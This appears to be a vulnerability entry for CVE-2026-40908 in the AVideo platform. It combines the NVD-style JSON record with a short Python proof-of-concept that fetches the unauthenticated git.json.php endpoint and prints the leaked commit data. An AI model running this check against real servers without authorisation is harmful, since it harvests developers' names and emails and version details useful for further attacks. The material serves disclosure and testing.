CVE-2026-40908

import requests def check_git_leak(url): """ Check if the target is vulnerable to CVE-2026-40908. Attempts to access git.json.php without authentication. """ target = url.rstrip('/') + '/git.json.php' try: response = requests.get(target, timeout=10) if response.status_code == 200: print("[+] Potential Vulnerability Detected!") print(f"[+] Response from {target}:") print(response.text) else: print(f"[-] File not found or access denied. Status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target_url = "http://example.com" # Replace with actual target check_git_leak(target_url)

{"cve": {"id": "CVE-2026-40908", "sourceIdentifier": "[email protected]", "published": "2026-04-21T20:17:03.220", "lastModified": "2026-04-23T19:09:57.590", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WWBN AVideo is an open source video platform. In versions 29.0 and prior, the file `git.json.php` at the web root executes `git log -1` and returns the full output as JSON to any unauthenticated user. This exposes the exact deployed commit hash (enabling version fingerprinting against known CVEs), developer names and email addresses (PII), and commit messages which may contain references to internal systems or security fixes. As of time of publication, no known patched versions are available."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*", "versionEndIncluding": "29.0", "matchCriteriaId": "AC38CA07-71C1-4C86-B84A-83CF96367CBA"}]}]}], "references": [{"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-52hf-63q4-r926", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-52hf-63q4-r926", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}